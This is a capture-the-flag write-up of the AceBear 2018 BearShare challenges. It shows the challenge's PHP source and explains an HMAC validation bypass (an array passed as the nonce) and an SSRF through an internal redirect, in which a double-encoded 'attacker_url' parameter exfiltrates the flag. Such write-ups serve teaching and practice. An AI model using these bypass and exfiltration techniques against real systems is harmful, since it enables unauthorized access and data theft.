AceBear Security Contest 2018: BearShare & BearShare2
In this challenge, we had access to a system that permit to send “secure” and private messages.
This website was constitued of 2 pages : index.php and download.php
Fig 1 - index.php
Fig 2 - Message sent
On the index.php you type a message,store it,then the system gave you the server where it is sent and the id of the message.
Fig 3 - Message sent
On the download.php you can get back your message giving the remote server and the id that you got when you sent it.
Bearshare - First part
The first thing I did when I discovered the website was to look if there was a robots.txt page and fortunately there was one that disallowed a directory named /backup_files/
Fig 4 - Backup
So we have two files containing the source code of the site.
index.php
<?php
if(isset($_POST['message'])){
$message = (string)$_POST['message'];
$rand_id = rand(1000000000, 9999999999).'salt^&#@!'.rand(1000000000, 9999999999);
$messid = md5($rand_id);
$store_location = rand(0,10);
if($store_location%2===0){
file_put_contents('/var/www/messagestore/'.$messid,$message);
} else {
file_put_contents('/var/www/messagestore2/'.$messid,$message);
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.ico">
<title>BearShare</title>
<!-- Bootstrap core CSS -->
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<style>
/* Sticky footer styles
-------------------------------------------------- */
html {
position: relative;
min-height: 100%;
}
body {
/* Margin bottom by footer height */
margin-bottom: 60px;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
/* Set the fixed height of the footer here */
height: 60px;
line-height: 60px; /* Vertically center the text there */
background-color: #f5f5f5;
}
/* Custom page CSS
-------------------------------------------------- */
/* Not required for template or sticky footer method. */
body > .container {
padding: 60px 15px 0;
}
.footer > .container {
padding-right: 15px;
padding-left: 15px;
}
code {
font-size: 80%;
}
</style>
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">BearShare</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="index.php">Create message<span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="download.php">Get message</a>
</li>
</ul>
</div>
</nav>
</header>
<!-- Begin page content -->
<main role="main" class="container">
<div class="mt-3">
<h1>BearShare</h1>
<h3><i>Private message sharing</i></h3>
</div>
<p class="lead">Need a dumb way to share your private message? Use BearShare!</p>
<?php if(isset($messid)){ $at="";if($store_location%2===0){ $at="message1.local";}else{$at="message2.local";} ?>
<p>Your message stored at server: <code><?php echo $at; ?></code></p>
<p>Your message's ID: <code><?php echo $messid; ?></code></p>
<?php } ?>
<form class="form-signin" method="POST" action="index.php">
<input type="text" placeholder="Your private message" class="form-control" name="message"/>
<button class="btn btn-lg btn-primary btn-block" style="max-width:300px;margin:auto;margin-top:30px;" type="submit">Create</button>
</form>
</main>
<footer class="footer">
<div class="container">
<span class="text-muted">Content © 2018 - AceBear</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="assets/js/vendor/popper.min.js"></script>
<script src="dist/js/bootstrap.min.js"></script>
</body>
</html>
download.php
<?php
include_once 'config.php';
$nonce = md5(rand(10000000, 99999999).rand(10000000, 99999999));
function gen_hash($n, $sv){
$first = hash_hmac('sha256',$n,$S_KEY);
return hash_hmac('sha256',$sv,$first);
}
function validate_hash(){
if(empty($_POST['hash']) || empty($_POST['storagesv'])){
die('Cannot verify server');
}
if(isset($_POST['nonce'])){
$S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);
}
$final_hash = hash_hmac('sha256',$_POST['storagesv'],$S_KEY);
if ($final_hash !== $_POST['hash']){
die('Cannot verify server');
}
}
function filter($x){
$x = (string)$x;
if(preg_match('/http|https|\@|\s|:|\/\//mi',$x)){
return false;
}
return $x;
}
if(isset($_POST['messid'])){
$messid = $_POST['messid'];
validate_hash();
$url="";
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}
$messid = filter($messid);
if($messid){
$url .= $messid;
$out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');
} else {
die('Hey, are you a haxor?');
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="favicon.ico">
<title>BearShare</title>
<!-- Bootstrap core CSS -->
<link href="dist/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom styles for this template -->
<style>
/* Sticky footer styles
-------------------------------------------------- */
html {
position: relative;
min-height: 100%;
}
body {
/* Margin bottom by footer height */
margin-bottom: 60px;
}
.footer {
position: absolute;
bottom: 0;
width: 100%;
/* Set the fixed height of the footer here */
height: 60px;
line-height: 60px; /* Vertically center the text there */
background-color: #f5f5f5;
}
/* Custom page CSS
-------------------------------------------------- */
/* Not required for template or sticky footer method. */
body > .container {
padding: 60px 15px 0;
}
.footer > .container {
padding-right: 15px;
padding-left: 15px;
}
code {
font-size: 80%;
}
</style>
</head>
<body>
<header>
<!-- Fixed navbar -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top bg-dark">
<a class="navbar-brand" href="#">BearShare</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarCollapse" aria-controls="navbarCollapse" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarCollapse">
<ul class="navbar-nav mr-auto">
<li class="nav-item">
<a class="nav-link" href="index.php">Create message</a>
</li>
<li class="nav-item active">
<a class="nav-link" href="download.php">Get message <span class="sr-only">(current)</span></a>
</li>
</ul>
</div>
</nav>
</header>
<!-- Begin page content -->
<main role="main" class="container">
<div class="mt-3">
<h1>BearShare</h1>
<h3><i>Private message sharing</i></h3>
</div>
<p class="lead">Need a dumb way to share your private message? Use BearShare!</p>
<?php if(isset($out)){ ?>
<xmp style="background: #f8f9fa;overflow-x:scroll;padding:10px;max-height:500px">
<?php echo $out; ?>
</xmp>
<?php } ?>
<form class="form-signin" method="POST" action="download.php">
<input type="hidden" name="nonce" value="<?php echo $nonce; ?>"/>
<input type="hidden" name="hash" value=""/>
<div class="form-row">
<div class="form-group col-md-3">
<select class="form-control ss" name="storagesv">
<option disabled selected value>-- Storage server --</option>
<option value="message1.local">message1.local</option>
<option value="message2.local">message2.local</option>
</select>
</div>
<div class="form-group col-md-9">
<input type="text" class="form-control" name="messid"/>
</div>
<button class="btn btn-lg btn-primary btn-block" style="max-width:300px;margin:auto;margin-top:30px;" type="submit">Read message</button>
</form>
</main>
<footer class="footer">
<div class="container">
<span class="text-muted">Content © 2018 - AceBear</span>
</div>
</footer>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="https://code.jquery.com/jquery-3.2.1.slim.min.js" integrity="sha384-KJ3o2DKtIkvYIK3UENzmM7KCkRr/rE9/Qpg6aAZGJwFDMVNA/GpGFF93hXpG5KkN" crossorigin="anonymous"></script>
<script>window.jQuery || document.write('<script src="assets/js/vendor/jquery-slim.min.js"><\/script>')</script>
<script src="assets/js/vendor/popper.min.js"></script>
<script src="dist/js/bootstrap.min.js"></script>
<script>
$( ".ss" ).change(function() {
if($(".ss").val() == "message1.local"){
$("input[name='hash']").val("<?php echo gen_hash($nonce, 'message1.local'); ?>");
} else if($(".ss").val() == "message2.local"){
$("input[name='hash']").val("<?php echo gen_hash($nonce, 'message2.local'); ?>");
} else {
"None";
}
});
</script>
</body>
</html>
So what happen when you send a message, the server generate a random id and decide on which server the message will be stored according to his value modulo 2. There was nothing to do with this.
So let’s analyze how download.php works :
When you want to get back a message, the server generate a nonce then validate the authenticity of the server using the hash_hmac() function and a secret key.
Then he get back your message on one of his local server.
There are two important part of this code at first :
if($_POST['storagesv'] === 'message1.local' or $_POST['storagesv'] === 'message2.local'){
$url = 'http://'.$_POST['storagesv'].'/';
} elseif ($_POST['storagesv']==="gimmeflag") {
die('AceBear{******}');
}
and
function validate_hash(){
if(empty($_POST['hash']) || empty($_POST['storagesv'])){
die('Cannot verify server');
}
if(isset($_POST['nonce'])){
$S_KEY = hash_hmac('sha256',$_POST['nonce'],$S_KEY);
}
$final_hash = hash_hmac('sha256',$_POST['storagesv'],$S_KEY);
if ($final_hash !== $_POST['hash']){
die('Cannot verify server');
}
According to the first code, we can assume that if we success to send as a server “gimmeflag”, we can get the first flag.
For that we need to bypass the validate_hash() function.
Fortunately, a day before this challenge, Liveoverflow uploaded a youtube video with a similar code and how to bypass it.
So how do we bypass it ?
You can see that we can send three variable over $_POST parameter that are seb by validate_hash() :
$_POST[‘hash’] , which is the variable that’ll verify the server authenticity
$_POST[‘storagesv’], that’ll be the remote server url
$_POST[‘nonce’] , that’ll be the nonce used by the hash_hmac() function
So what can do with all these variable ?
If we set a nonce, the nonce will be hashed with hmac and the server will hash the storagesv with the nonce’s hash as a key.
The tricky part of this code is that if we set an array as the second parameter of hash_hmac(), it return NULL and a warning message !
Fig 5 - PHP Warnings
And we can send an array using nonce[]=‘some_junk’
Then on the second time the hash_hmac() function will be used the secret key will be NULL.
And then we can predict the hash of the server “gimmeflag” and make the server trust our input.
Fig 6 - gimmeflag
Fig 7 - Flag \o/
The first flag is :
AceBear{b4d_Hm4C_impl3M3nt4t10N}
Bearshare - Second part
Now that we know how to craft custom hash to bypass hash validation we can analyse the last part of the code :
$messid = filter($messid);
if($messid){
$url .= $messid;
$out = shell_exec('/usr/bin/python '.$BROWSER_BOT.' '.escapeshellarg('http://route.local/?url='.urlencode($url)).' 2>&1');
} else {
die('Hey, are you a haxor?');
}
}
Once the server has validated the hash, he send a request to remote server to get back the message. But we can control the URL according to the first part.
So let explore the lan of the server !
The first thing I did was to reach the index.php on http://route.local/ but it returned nothing so i searched for a http://route.local/robots.txt and Bingo !! it returned the link to a file containing the index.php code.
if(isset($_GET['url'])){
$url = (string)$_GET['url'];
header('Location: '.$url.'?flag=***SECRET***:');
}
So if I precise an URL, the server send a request to this url with the $_GET parameter containing the flag.
Let’s do it !
So to remember, how request are sent :
Fig 8 - Network representation
So I just sent request containing : + $_POST[‘storagesv’]=http://route.local + $_POST[‘messid’]=?url=http://attacker_url/
But I got the following message :
Hey, are you a haxor?
Yeah I forgot aout this part of the code… when I send to the attacker url the http:// is detected.
Too bypass the filter I just double url encoded the url of the server which I wanted the flag to reach.
And got the flag my server :
Conclusion
It was interesting to learn how to bypass a missused hash_hmac() function and I really appreciated these two challenges.